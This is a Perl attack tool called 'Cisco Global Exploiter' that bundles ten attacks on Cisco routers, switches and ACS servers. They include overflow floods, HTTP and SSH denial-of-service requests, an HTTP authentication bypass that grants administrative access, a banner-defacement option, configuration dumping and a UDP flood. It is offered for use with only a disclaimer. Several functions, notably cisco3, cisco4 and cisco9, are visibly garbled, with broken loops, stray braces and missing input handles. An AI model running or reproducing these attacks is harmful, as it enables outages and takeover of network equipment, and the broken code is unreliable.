#!/usr/bin/perl
##
# Cisco Global Exploiter
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# www blackangels it
##
############
# Modules ##
############
use Socket;
use IO::Socket;
#########
# Main ##
#########
$host = "";
$expvuln = "";
$host = @ARGV[ 1 ];
$expvuln = @ARGV[ 3 ];
if ($host eq "") {
usage();
}
if ($expvuln eq "") {
usage();
}
if ($expvuln eq "1") {
cisco1();
}
elsif ($expvuln eq "2") {
cisco2();
}
elsif ($expvuln eq "3") {
cisco3();
}
elsif ($expvuln eq "4") {
cisco4();
}
elsif ($expvuln eq "5") {
cisco5();
}
elsif ($expvuln eq "6") {
cisco6();
}
elsif ($expvuln eq "7") {
cisco7();
}
elsif ($expvuln eq "8") {
cisco8();
}
elsif ($expvuln eq "9") {
cisco9();
}
elsif ($expvuln eq "10") {
cisco10();
}
else {
printf "\nInvalid vulnerability number ...\n\n";
exit(1);
}
##############
# Functions ##
##############
sub usage
{
printf "\nUsage :\n";
printf "perl cge.pl -h -v \n\n";
printf "Vulnerabilities list :\n";
printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n\n";
exit(1);
}
sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
{
my $serv = $host;
my $dch = "?????????????????a~ %%%%%XX%%%%%";
my $num = 30000;
my $string .= $dch x $num;
my $shc="\015\012";
my $sockd = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $serv,
PeerPort => "(23)",
) || die("No telnet server detected on $serv ...\n\n");
$sockd->autoflush(1);
print $sockd "$string". $shc;
while (){ print }
print("\nPacket sent ...\n");
sleep(1);
print("Now checking server's status ...\n");
sleep(2);
my $sockd2 = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $serv,
PeerPort => "(23)",
) || die("Vulnerability successful exploited. Target server is down ...\n\n");
print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
exit(1);
}
sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
{
my $serv = $host;
my $sockd = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd){die "No http server detected on $serv ...\n\n"};
$sockd->autoflush(1);
print $sockd "GET /\%\% HTTP/1.0\n\n";
-close $sockd;
print "Packet sent ...\n";
sleep(1);
print("Now checking server's status ...\n");
sleep(2);
my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};
print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
exit(1);
}
sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
my $serv= $host;
my $n=16;
my $port=80;
my $target = inet_aton($serv);
my $fg = 0;
LAB: while ($n){ push @in, $_;}
select(STDOUT); close(S); return @in;
}
else { die("No http server detected on $serv ...\n\n"); }
}
}
exit(1);
}
sub cisco4 # Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
{
my $serv = $host;
my $n = 16;
while ($n ;
chomp($vuln);
if ($vuln == 1) {
print "\nEnter deface line : ";
$vuln = ;
chomp($vuln);
exploit1("GET /level/$n/exec/-/configure/-/banner/motd/$vuln HTTP/1.0\n\n");
}
elsif ($vuln == 2) {
exploit1("GET /level/$n/exec/show%20conf HTTP/1.0\n\n");
print "$wrf";
}
elsif ($vuln == 3)
{ print "\nEnter attack URL : ";
$vuln = ;
chomp($vuln);
exploit1("GET /$vuln HTTP/1.0\n\n");
print "$wrf";
}
}
}
$wr = "";
$n++;
}
die "Vulnerability unsuccessful exploited ...\n\n";
sub exploit1 {
my $sockd = IO::Socket::INET -> new (
Proto => 'tcp',
PeerAddr => $serv,
PeerPort => 80,
Type => SOCK_STREAM,
Timeout => 5);
unless($sockd){die "No http server detected on $serv ...\n\n"}
$sockd->autoflush(1);
$sockd -> send($_[0]);
while(){$wr .= $_} $wrf = $wr;
close $sockd;
}
exit(1);
}
sub cisco5 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
{
my $serv = $host;
my $port = 22;
my $vuln = "a%a%a%a%a%a%a%";
my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No ssh server detected on $serv ...\n\n";
print "Packet sent ...\n";
print $sockd "$vuln";
close($sockd);
exit(1);
}
sub cisco6 # Cisco 675 Web Administration Denial of Service Vulnerability
{
my $serv = $host;
my $port = 80;
my $vuln = "GET ? HTTP/1.0\n\n";
my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";
print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
close($sockd);
exit(1);
}
sub cisco7 # Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
{
my $serv = $host;
my $port = 80;
my $k = "";
print "Enter a file to read [ /show/config/cr set as default ] : ";
$k = ;
chomp ($k);
if ($k eq "")
{$vuln = "GET /exec/show/config/cr HTTP/1.0\n\n";}
else
{$vuln = "GET /exec$k HTTP/1.0\n\n";}
my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";
print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
while (){print}
close($sockd);
exit(1);
}
sub cisco8 # Cisco IOS Software HTTP Request Denial of Service Vulnerability
{
my $serv = $host;
my $port = 80;
my $vuln = "GET /error?/ HTTP/1.0\n\n";
my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";
print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
while (){print}
close($sockd);
exit(1);
}
sub cisco9 # Cisco 514 UDP Flood Denial of Service Vulnerability
{
my $ip = $host;
my $port = "514";
my $ports = "";
my $size = "";
my $i = "";
print "Input packets size : ";
$size = ;
chomp($size);
socket(SS, PF_INET, SOCK_DGRAM, 17);
my $iaddr = inet_aton("$ip");
for ($i=0; $i;
chomp $ports;
printf "\nNow checking server status ...\n";
sleep(2);
socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";
my $dest = sockaddr_in ($ports, inet_aton($ip));
connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";
printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";
exit(1);
}
sub cisco10 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
{
my $ip = $host;
my $vln = "%%%%%XX%%%%%";
my $num = 30000;
my $string .= $vln x $num;
my $shc="\015\012";
my $sockd = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $ip,
PeerPort => "(2002)",
) || die "Unable to connect to $ip:2002 ...\n\n";
$sockd->autoflush(1);
print $sockd "$string" . $shc;
while (){ print }
print "Packet sent ...\n";
close($sockd);
sleep(1);
print("Now checking server's status ...\n");
sleep(2);
my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>"(2002)",);
unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};
print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
exit(1);
}
